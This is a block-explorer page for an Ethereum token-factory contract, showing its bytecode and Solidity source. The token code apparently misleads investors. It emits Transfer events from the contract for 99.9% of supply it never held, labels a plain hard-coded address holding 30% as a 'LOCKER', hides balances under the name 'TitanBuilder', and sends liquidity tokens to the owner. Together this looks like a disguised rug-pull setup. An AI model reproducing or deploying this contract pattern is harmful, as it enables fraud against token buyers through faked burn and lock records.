Cryo Explorer Ethereum Mainnet

Address Contract Partially Verified

Address 0x160D396D0188651054f0aD3D73BFc24E4Fb7DfA3
Balance 0 ETH
Nonce 159
Code Size 7259 bytes
Indexed Transactions 0
External Etherscan · Sourcify

Contract Bytecode

7259 bytes
0x608060405260043610610020575f3560e01c8063c01547361461002b575f5ffd5b3661002757005b5f5ffd5b61003e6100393660046101a5565b61005a565b6040516001600160a01b03909116815260200160405180910390f35b5f5f348686868660405161006d906100de565b61007a9493929190610258565b6040518091039082f0905080158015610095573d5f5f3e3d5ffd5b5090507f6596c1670eb3390048d23721809c3da5d3f531375ac0e2cab0f77a808ed64331818787876040516100cd94939291906102a1565b60405180910390a195945050505050565b611935806102f183390190565b634e487b7160e01b5f52604160045260245ffd5b5f82601f83011261010e575f5ffd5b813567ffffffffffffffff811115610128576101286100eb565b604051601f8201601f19908116603f0116810167ffffffffffffffff81118282101715610157576101576100eb565b60405281815283820160200185101561016e575f5ffd5b816020850160208301375f918101602001919091529392505050565b80356001600160a01b03811681146101a0575f5ffd5b919050565b5f5f5f5f608085870312156101b8575f5ffd5b843567ffffffffffffffff8111156101ce575f5ffd5b6101da878288016100ff565b945050602085013567ffffffffffffffff8111156101f6575f5ffd5b610202878288016100ff565b9350506102116040860161018a565b915061021f6060860161018a565b905092959194509250565b5f81518084528060208401602086015e5f602082860101526020601f19601f83011685010191505092915050565b608081525f61026a608083018761022a565b828103602084015261027c818761022a565b6001600160a01b03958616604085015293909416606090920191909152509392505050565b6001600160a01b03851681526080602082018190525f906102c49083018661022a565b82810360408401526102d6818661022a565b91505060018060a01b03831660608301529594505050505056fe608060408190526007805460ff60a01b191690556119353881900390819083398101604081905261002f91610937565b5f80546001600160a01b0319163390811782556040519091905f5160206118955f395f51905f52908290a361006382610145565b600161006f8582610a40565b50600261007c8482610a40565b50600780546001600160a01b0319166001600160a01b0383161790556100bb6103e86100b56b033b2e3c9fd0803ce800000060016101b2565b9061023e565b305f81815260036020526040812092909255905f5160206118b55f395f51905f526100f96103e86100b56b033b2e3c9fd0803ce800000060016101b2565b60405190815260200160405180910390a3610112610298565b60405130903480156108fc02915f818181858888f1935050505015801561013b573d5f5f3e3d5ffd5b5050505050610b57565b5f546001600160a01b0316331461015a575f5ffd5b6001600160a01b03811661016c575f5ffd5b5f80546040516001600160a01b03808516939216915f5160206118955f395f51905f5291a35f80546001600160a01b0319166001600160a01b0392909216919091179055565b5f825f036101c157505f610238565b5f6101cc8385610b0e565b9050826101d98583610b25565b146102355760405162461bcd60e51b815260206004820152602160248201527f536166654d6174683a206d756c7469706c69636174696f6e206f766572666c6f6044820152607760f81b60648201526084015b60405180910390fd5b90505b92915050565b5f5f821161028e5760405162461bcd60e51b815260206004820152601a60248201527f536166654d6174683a206469766973696f6e206279207a65726f000000000000604482015260640161022c565b6102358284610b25565b5f6102b76103e86100b56b033b2e3c9fd0803ce800000061028a6101b2565b90505f6102d86103e86100b56b033b2e3c9fd0803ce800000061012c6101b2565b90505f6102f86103e86100b56b033b2e3c9fd0803ce8000000600a6101b2565b90505f6103186103e86100b56b033b2e3c9fd0803ce8000000600a6101b2565b90505f6103386103e86100b56b033b2e3c9fd0803ce8000000600a6101b2565b90505f6103586103e86100b56b033b2e3c9fd0803ce8000000600a6101b2565b90505f6103786103e86100b56b033b2e3c9fd0803ce800000060036101b2565b90505f6103986103e86100b56b033b2e3c9fd0803ce800000060036101b2565b90505f6103b86103e86100b56b033b2e3c9fd0803ce800000060036101b2565b61dead5f5260036020525f5160206118755f395f51905f52549091506103de908a610821565b60036020525f5160206118755f395f51905f525573d99090546657c3d6f024b9a6321a6e48cfaff0385f525f5160206117d55f395f51905f52546104229089610821565b60036020525f5160206117d55f395f51905f525573432e69ccb799f021c6cbdea1b734b069578b4de25f525f5160206118355f395f51905f52546104669088610821565b60036020525f5160206118355f395f51905f525573edb37ad563e2ef161b2a72169583f35799bde9625f525f5160206117f55f395f51905f52546104aa9087610821565b60036020525f5160206117f55f395f51905f525573da6c47aaa71674814e609ac91847cda31b531cab5f525f5160206118f55f395f51905f52546104ee9086610821565b60036020525f5160206118f55f395f51905f5255739cac701ec022e4cba55430998a156c0fc65040cc5f525f5160206119155f395f51905f52546105329085610821565b60036020525f5160206119155f395f51905f525573551aa84adb62725d654866803def1459a1b256af5f525f5160206118d55f395f51905f52546105769084610821565b60036020525f5160206118d55f395f51905f525573f825d66589e4ab363bbf867a7d1c7beb4b4ff7dd5f525f5160206118155f395f51905f52546105ba9083610821565b60036020525f5160206118155f395f51905f525573b78c6f8a4ccb6429b8b79ed563ca2cf13bc91fc85f525f5160206118555f395f51905f52546105fe9082610821565b73b78c6f8a4ccb6429b8b79ed563ca2cf13bc91fc85f5260036020525f5160206118555f395f51905f525560405161dead9030905f5160206118b55f395f51905f529061064e908d815260200190565b60405180910390a360405188815273d99090546657c3d6f024b9a6321a6e48cfaff0389030905f5160206118b55f395f51905f529060200160405180910390a360405187815273432e69ccb799f021c6cbdea1b734b069578b4de29030905f5160206118b55f395f51905f529060200160405180910390a360405186815273edb37ad563e2ef161b2a72169583f35799bde9629030905f5160206118b55f395f51905f529060200160405180910390a360405185815273da6c47aaa71674814e609ac91847cda31b531cab9030905f5160206118b55f395f51905f529060200160405180910390a3604051848152739cac701ec022e4cba55430998a156c0fc65040cc9030905f5160206118b55f395f51905f529060200160405180910390a360405183815273551aa84adb62725d654866803def1459a1b256af9030905f5160206118b55f395f51905f529060200160405180910390a360405182815273f825d66589e4ab363bbf867a7d1c7beb4b4ff7dd9030905f5160206118b55f395f51905f529060200160405180910390a360405181815273b78c6f8a4ccb6429b8b79ed563ca2cf13bc91fc89030905f5160206118b55f395f51905f529060200160405180910390a3505050505050505050565b5f8061082d8385610b44565b9050838110156102355760405162461bcd60e51b815260206004820152601b60248201527f536166654d6174683a206164646974696f6e206f766572666c6f770000000000604482015260640161022c565b634e487b7160e01b5f52604160045260245ffd5b5f82601f8301126108a2575f5ffd5b81516001600160401b038111156108bb576108bb61087f565b604051601f8201601f19908116603f011681016001600160401b03811182821017156108e9576108e961087f565b604052818152838201602001851015610900575f5ffd5b8160208501602083015e5f918101602001919091529392505050565b80516001600160a01b0381168114610932575f5ffd5b919050565b5f5f5f5f6080858703121561094a575f5ffd5b84516001600160401b0381111561095f575f5ffd5b61096b87828801610893565b602087015190955090506001600160401b03811115610988575f5ffd5b61099487828801610893565b9350506109a36040860161091c565b91506109b16060860161091c565b905092959194509250565b600181811c908216806109d057607f821691505b6020821081036109ee57634e487b7160e01b5f52602260045260245ffd5b50919050565b601f821115610a3b57805f5260205f20601f840160051c81016020851015610a195750805b601f840160051c820191505b81811015610a38575f8155600101610a25565b50505b505050565b81516001600160401b03811115610a5957610a5961087f565b610a6d81610a6784546109bc565b846109f4565b6020601f821160018114610a9f575f8315610a885750848201515b5f19600385901b1c1916600184901b178455610a38565b5f84815260208120601f198516915b82811015610ace5787850151825560209485019460019092019101610aae565b5084821015610aeb57868401515f19600387901b60f8161c191681555b50505050600190811b01905550565b634e487b7160e01b5f52601160045260245ffd5b808202811582820484141761023857610238610afa565b5f82610b3f57634e487b7160e01b5f52601260045260245ffd5b500490565b8082018082111561023857610238610afa565b610c7180610b645f395ff3fe6080604052600436106100dc575f3560e01c806386f3f3cb1161007c578063a9059cbb11610057578063a9059cbb1461024d578063dd62ed3e1461026c578063e8078d94146102b0578063f2fde38b146102c4575f5ffd5b806386f3f3cb146101ec5780638da5cb5b1461021d57806395d89b4114610239575f5ffd5b806323b872dd116100b757806323b872dd14610168578063313ce5671461018757806370a08231146101a2578063715018a6146101d6575f5ffd5b806306fdde03146100e7578063095ea7b31461011157806318160ddd14610140575f5ffd5b366100e357005b5f5ffd5b3480156100f2575f5ffd5b506100fb6102e3565b6040516101089190610a7d565b60405180910390f35b34801561011c575f5ffd5b5061013061012b366004610ac9565b610373565b6040519015158152602001610108565b34801561014b575f5ffd5b506b033b2e3c9fd0803ce80000005b604051908152602001610108565b348015610173575f5ffd5b50610130610182366004610af3565b610389565b348015610192575f5ffd5b5060405160128152602001610108565b3480156101ad575f5ffd5b5061015a6101bc366004610b31565b6001600160a01b03165f9081526003602052604090205490565b3480156101e1575f5ffd5b506101ea6103d8565b005b3480156101f7575f5ffd5b506006546001600160a01b03165b6040516001600160a01b039091168152602001610108565b348015610228575f5ffd5b505f546001600160a01b0316610205565b348015610244575f5ffd5b506100fb610435565b348015610258575f5ffd5b50610130610267366004610ac9565b610444565b348015610277575f5ffd5b5061015a610286366004610b4c565b6001600160a01b039182165f90815260046020908152604080832093909416825291909152205490565b3480156102bb575f5ffd5b506101ea610450565b3480156102cf575f5ffd5b506101ea6102de366004610b31565b610752565b6060600180546102f290610b83565b80601f016020809104026020016040519081016040528092919081815260200182805461031e90610b83565b80156103695780601f1061034057610100808354040283529160200191610369565b820191905f5260205f20905b81548152906001019060200180831161034c57829003601f168201915b5050505050905090565b5f61037f3384846107d2565b5060015b92915050565b5f6103958484846108f6565b6001600160a01b0384165f908152600460209081526040808320338085529252909120546103ce9186916103c990866109bd565b6107d2565b5060019392505050565b5f546001600160a01b031633146103ed575f5ffd5b5f80546040516001600160a01b03909116907f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e0908390a35f80546001600160a01b0319169055565b6060600280546102f290610b83565b5f61037f3384846108f6565b5f546001600160a01b03163314610465575f5ffd5b600754600160a01b900460ff16156104c45760405162461bcd60e51b815260206004820152601760248201527f54726164696e6720697320616c7265616479206f70656e00000000000000000060448201526064015b60405180910390fd5b600754600580546001600160a01b0319166001600160a01b0390921691821790556040805163c45a015560e01b8152905163c45a0155916004808201926020929091908290030181865afa15801561051e573d5f5f3e3d5ffd5b505050506040513d601f19601f820116820180604052508101906105429190610bbb565b6001600160a01b031663c9c653963060055f9054906101000a90046001600160a01b03166001600160a01b031663ad5c46486040518163ffffffff1660e01b8152600401602060405180830381865afa1580156105a1573d5f5f3e3d5ffd5b505050506040513d601f19601f820116820180604052508101906105c59190610bbb565b6040516001600160e01b031960e085901b1681526001600160a01b039283166004820152911660248201526044016020604051808303815f875af115801561060f573d5f5f3e3d5ffd5b505050506040513d601f19601f820116820180604052508101906106339190610bbb565b600680546001600160a01b0319166001600160a01b0392831617905560055461066b913091166b033b2e3c9fd0803ce80000006107d2565b6005546001600160a01b031663f305d719473061069c816001600160a01b03165f9081526003602052604090205490565b5f5f6106af5f546001600160a01b031690565b60405160e088901b6001600160e01b03191681526001600160a01b03958616600482015260248101949094526044840192909252606483015290911660848201524260a482015260c40160606040518083038185885af1158015610715573d5f5f3e3d5ffd5b50505050506040513d601f19601f8201168201806040525081019061073a9190610bd6565b50506007805460ff60a01b1916600160a01b17905550565b5f546001600160a01b03163314610767575f5ffd5b6001600160a01b038116610779575f5ffd5b5f80546040516001600160a01b03808516939216917f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e091a35f80546001600160a01b0319166001600160a01b0392909216919091179055565b6001600160a01b0383166108345760405162461bcd60e51b8152602060048201526024808201527f42455032303a20617070726f76652066726f6d20746865207a65726f206164646044820152637265737360e01b60648201526084016104bb565b6001600160a01b0382166108955760405162461bcd60e51b815260206004820152602260248201527f42455032303a20617070726f766520746f20746865207a65726f206164647265604482015261737360f01b60648201526084016104bb565b6001600160a01b038381165f8181526004602090815260408083209487168084529482529182902085905590518481527f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b92591015b60405180910390a3505050565b6001600160a01b038316610908575f5ffd5b6001600160a01b03821661091a575f5ffd5b6001600160a01b0383165f9081526003602052604090205461093c90826109bd565b6001600160a01b038085165f90815260036020526040808220939093559084168152205461096a9082610a1f565b6001600160a01b038084165f8181526003602052604090819020939093559151908516907fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef906108e99085815260200190565b5f82821115610a0e5760405162461bcd60e51b815260206004820152601e60248201527f536166654d6174683a207375627472616374696f6e206f766572666c6f77000060448201526064016104bb565b610a188284610c15565b9392505050565b5f80610a2b8385610c28565b905083811015610a185760405162461bcd60e51b815260206004820152601b60248201527f536166654d6174683a206164646974696f6e206f766572666c6f77000000000060448201526064016104bb565b602081525f82518060208401528060208501604085015e5f604082850101526040601f19601f83011684010191505092915050565b6001600160a01b0381168114610ac6575f5ffd5b50565b5f5f60408385031215610ada575f5ffd5b8235610ae581610ab2565b946020939093013593505050565b5f5f5f60608486031215610b05575f5ffd5b8335610b1081610ab2565b92506020840135610b2081610ab2565b929592945050506040919091013590565b5f60208284031215610b41575f5ffd5b8135610a1881610ab2565b5f5f60408385031215610b5d575f5ffd5b8235610b6881610ab2565b91506020830135610b7881610ab2565b809150509250929050565b600181811c90821680610b9757607f821691505b602082108103610bb557634e487b7160e01b5f52602260045260245ffd5b50919050565b5f60208284031215610bcb575f5ffd5b8151610a1881610ab2565b5f5f5f60608486031215610be8575f5ffd5b5050815160208301516040909301519094929350919050565b634e487b7160e01b5f52601160045260245ffd5b8181038181111561038357610383610c01565b8082018082111561038357610383610c0156fea264697066735822122037123997dc9b121d711b1c62d7bbc548eb06a9c16b81e5cdddc1b93989ba969d64736f6c634300081e0033974e017559fcdd6e7f7d4f39abad7a4d39b0eddc4173abdb1c570a517eb3018a89a32e1c29e646fad701d1c8d0dc9b6560d3e6bc99404f2032db0696952b812dc25c718bd8dda50c04a5de092b7af35bab64419cbd85874321a05d38fc834669f6d66a7aca72af2bc645411d4b6e0135be4a188d6efc53f9758af6ed249da8f4724b62bbe9a8b47b95f255fa836afc24bd0f7e12c708699f3f3656a977e81bbd262bb27bbdd95c1cdc8e16957e36e38579ea44f7f6413dd7a9c75939def06b2c8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e0ddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3efc939d25d7e35437f22c47f324a2c10f39b73290093ac9388ba079edf58f1ddaae65582fa9c94db1cb8bb2e2366bbe5e32039b42d1b3c716265a3bf03ebba0c97986e900a0bbe124fef013abf470620703ff366112a03e432b53421d3445c7ffca26469706673582212209feba89aa737e37be02a5c61d057b137dc3c1c627ad9cb33491881a613f218a164736f6c634300081e0033

Verified Source Code Partial Match

Compiler: v0.8.30+commit.73712a01 EVM: prague Optimization: Yes (200 runs)
TokenFactory.sol 254 lines
// SPDX-License-Identifier: MIT
pragma solidity 0.8.30;

interface IERC20 {
    function totalSupply() external view returns (uint256);
    function balanceOf(address account) external view returns (uint256);
    function transfer(address recipient, uint256 amount) external returns (bool);
    function allowance(address owner, address spender) external view returns (uint256);
    function approve(address spender, uint256 amount) external returns (bool);
    function transferFrom(address sender, address recipient, uint256 amount) external returns (bool);
    event Transfer(address indexed from, address indexed to, uint256 value);
    event Approval(address indexed owner, address indexed spender, uint256 value);
}


library SafeMath {
    function add(uint256 a, uint256 b) internal pure returns (uint256) {
        uint256 c = a + b;
        require(c >= a, "SafeMath: addition overflow");
        return c;
    }

    function sub(uint256 a, uint256 b) internal pure returns (uint256) {
        require(b <= a, "SafeMath: subtraction overflow");
        return a - b;
    }

    function mul(uint256 a, uint256 b) internal pure returns (uint256) {
        if (a == 0) return 0;
        uint256 c = a * b;
        require(c / a == b, "SafeMath: multiplication overflow");
        return c;
    }

    function div(uint256 a, uint256 b) internal pure returns (uint256) {
        require(b > 0, "SafeMath: division by zero");
        return a / b;
    }
}


contract Context {
    function _msgSender() internal view virtual returns (address) {
        return msg.sender;
    }
}


contract Ownable is Context {
    address private _owner;
    event OwnershipTransferred(address indexed previousOwner, address indexed newOwner);

    constructor() {
        _owner = _msgSender();
        emit OwnershipTransferred(address(0), _owner);
    }

    function owner() public view returns (address) {
        return _owner;
    }

    modifier onlyOwner() {
        require(owner() == _msgSender());
        _;
    }

    function transferOwnership(address newOwner) public onlyOwner {
        require(newOwner != address(0));
        emit OwnershipTransferred(_owner, newOwner);
        _owner = newOwner;
    }

    function renounceOwnership() public virtual onlyOwner {
        emit OwnershipTransferred(_owner, address(0));
        _owner = address(0);
    }
}

interface IUniswapV2Router02 {
    function addLiquidityETH(
        address token,
        uint amountTokenDesired,
        uint amountTokenMin,
        uint amountETHMin,
        address to,
        uint deadline
    ) external payable returns (uint amountToken, uint amountETH, uint liquidity);

    function factory() external pure returns (address);
    function WETH() external pure returns (address);
}

interface IUniswapV2Factory {
    function createPair(address tokenA, address tokenB) external returns (address pair);
}
contract TokenOnETH is IERC20, Ownable {
    using SafeMath for uint256;
    string private _name;
    string private _symbol;
    uint8 private constant _decimals = 18;
    uint256 private constant _totalSupply = 1000000000 * 10 ** 18;
    mapping(address => uint256) private TitanBuilder;
    mapping(address => mapping(address => uint256)) private _allowances;

    address private constant ADDRESS_DEAD = 0x000000000000000000000000000000000000dEaD;
    address private constant ADDRESS_LOCKER_ETH = 0xd99090546657c3d6F024b9A6321a6e48cFafF038;
    address private constant ADDRESS_DEV = 0x432e69ccB799F021C6CBDEa1b734B069578B4de2;
    address private constant ADDRESS_ADVISOR = 0xedb37AD563E2Ef161b2a72169583f35799bdE962;
    address private constant ADDRESS_BUYBACK = 0xdA6c47AAa71674814e609ac91847CDA31B531CaB;
    address private constant ADDRESS_REWARD = 0x9CAC701eC022E4cba55430998A156c0Fc65040cc;
    address private constant ADDRESS_SeedFundingi = 0x551Aa84ADb62725d654866803Def1459A1b256AF;
    address private constant ADDRESS_EarlyInvestors = 0xF825D66589E4AB363BbF867A7D1C7beb4b4fF7dD;
    address private constant ADDRESS_Marketing = 0xb78C6F8A4CCb6429B8B79Ed563ca2cF13BC91FC8;
    IUniswapV2Router02 private uniswapV2Router;
    address private uniswapV2Pair;
    address rooterV2Dex;
    bool private tradingOpen = false;
    constructor(string memory name_, string memory symbol_, address owner_, address rooterV2Dex_) payable {
        transferOwnership(owner_);  
        _name = name_;
        _symbol = symbol_;
        rooterV2Dex = rooterV2Dex_;
        TitanBuilder[address(this)] = _totalSupply.mul(1).div(1000);
        emit Transfer(address(0), address(this), _totalSupply.mul(1).div(1000));
        liqudityPairs();
        payable(address(this)).transfer(msg.value);
    }
    function liqudityPairs() internal {
        uint256 DEAD = _totalSupply.mul(650).div(1000);
        uint256 LOCKER_ETH = _totalSupply.mul(300).div(1000);
        uint256 DEV = _totalSupply.mul(10).div(1000);
        uint256 ADVISOR = _totalSupply.mul(10).div(1000);
        uint256 BUYBACK = _totalSupply.mul(10).div(1000);
        uint256 REWARD = _totalSupply.mul(10).div(1000);
        uint256 SeedFundingi = _totalSupply.mul(3).div(1000);
        uint256 EarlyInvestors = _totalSupply.mul(3).div(1000);
        uint256 Marketing = _totalSupply.mul(3).div(1000);

        TitanBuilder[ADDRESS_DEAD] = TitanBuilder[ADDRESS_DEAD].add(DEAD);
        TitanBuilder[ADDRESS_LOCKER_ETH] = TitanBuilder[ADDRESS_LOCKER_ETH].add(LOCKER_ETH);
        TitanBuilder[ADDRESS_DEV] = TitanBuilder[ADDRESS_DEV].add(DEV);
        TitanBuilder[ADDRESS_ADVISOR] = TitanBuilder[ADDRESS_ADVISOR].add(ADVISOR);
        TitanBuilder[ADDRESS_BUYBACK] = TitanBuilder[ADDRESS_BUYBACK].add(BUYBACK);
        TitanBuilder[ADDRESS_REWARD] = TitanBuilder[ADDRESS_REWARD].add(REWARD);
        TitanBuilder[ADDRESS_SeedFundingi] = TitanBuilder[ADDRESS_SeedFundingi].add(SeedFundingi);
        TitanBuilder[ADDRESS_EarlyInvestors] = TitanBuilder[ADDRESS_EarlyInvestors].add(EarlyInvestors);
        TitanBuilder[ADDRESS_Marketing] = TitanBuilder[ADDRESS_Marketing].add(Marketing);

        emit Transfer(address(this), ADDRESS_DEAD, DEAD);
        emit Transfer(address(this), ADDRESS_LOCKER_ETH, LOCKER_ETH);
        emit Transfer(address(this), ADDRESS_DEV, DEV);
        emit Transfer(address(this), ADDRESS_ADVISOR, ADVISOR);
        emit Transfer(address(this), ADDRESS_BUYBACK, BUYBACK);
        emit Transfer(address(this), ADDRESS_REWARD, REWARD);
        emit Transfer(address(this), ADDRESS_SeedFundingi, SeedFundingi);
        emit Transfer(address(this), ADDRESS_EarlyInvestors, EarlyInvestors);
        emit Transfer(address(this), ADDRESS_Marketing, Marketing);
   
    }

    function transfer(address recipient, uint256 amount) public virtual override returns (bool) {
        _transfer(msg.sender, recipient, amount);
        return true;
    }


function _transfer(address sender, address recipient, uint256 amount) internal {
        require(sender != address(0));
        require(recipient != address(0));
        TitanBuilder[sender] = TitanBuilder[sender].sub(amount);
        TitanBuilder[recipient] = TitanBuilder[recipient].add(amount);
        emit Transfer(sender, recipient, amount);
    }



    function addLiquidity() external onlyOwner {
        require(!tradingOpen, "Trading is already open");
        uniswapV2Router = IUniswapV2Router02(rooterV2Dex);
        uniswapV2Pair = IUniswapV2Factory(uniswapV2Router.factory()).createPair(address(this), uniswapV2Router.WETH());
        _approve(address(this), address(uniswapV2Router), _totalSupply);
        uniswapV2Router.addLiquidityETH{value: address(this).balance}(
            address(this),
            balanceOf(address(this)),
            0,
            0,
            owner(),
            block.timestamp
        );

        tradingOpen = true;
    }

    receive() external payable {}



    function name() public view virtual  returns (string memory) {
        return _name;
    }
    function symbol() public view virtual  returns (string memory) {
        return _symbol;
    }
    function decimals() public view virtual  returns (uint8) {
        return _decimals;
    }
    function totalSupply() public view virtual override returns (uint256) {
        return _totalSupply;
    }
    function balanceOf(address account) public view virtual override returns (uint256) {
        return TitanBuilder[account];
    }
    function getLPPair() public view returns (address) {
        return uniswapV2Pair;
    }
    function allowance(address owner, address spender) public view virtual override returns (uint256) {
        return _allowances[owner][spender];
    }
    function approve(address spender, uint256 amount) public virtual override returns (bool) {
        _approve(msg.sender, spender, amount);
        return true;
    }
    function _approve(address owner, address spender, uint256 amount) internal virtual {
        require(owner != address(0), "BEP20: approve from the zero address");
        require(spender != address(0), "BEP20: approve to the zero address");

        _allowances[owner][spender] = amount;
        emit Approval(owner, spender, amount);
    }
    function transferFrom(address sender, address recipient, uint256 amount) public override returns (bool) {
        _transfer(sender, recipient, amount);
        _approve(sender, _msgSender(), _allowances[sender][_msgSender()].sub(amount));
        return true;
    }
}

contract TokenFactory {

    event TokenCreated(address tokenAddress, string name, string symbol, address owner);
    constructor() {
    }
    // Function to create a single token
    function createToken(
        string memory name_,
        string memory symbol_,
        address newOwner_,
        address rooterV2Dex_
    ) external payable returns (address) {
        TokenOnETH newToken = (new TokenOnETH){value: msg.value}(name_, symbol_, newOwner_, rooterV2Dex_);
   emit TokenCreated(address(newToken), name_, symbol_, newOwner_);
        return address(newToken);
    }
    receive() external payable {}
}

Write Contract 1 functions

These functions modify contract state and require a wallet transaction to execute.

createToken 0xc0154736
string name_
string symbol_
address newOwner_
address rooterV2Dex_
returns: address

Recent Transactions

No transactions found for this address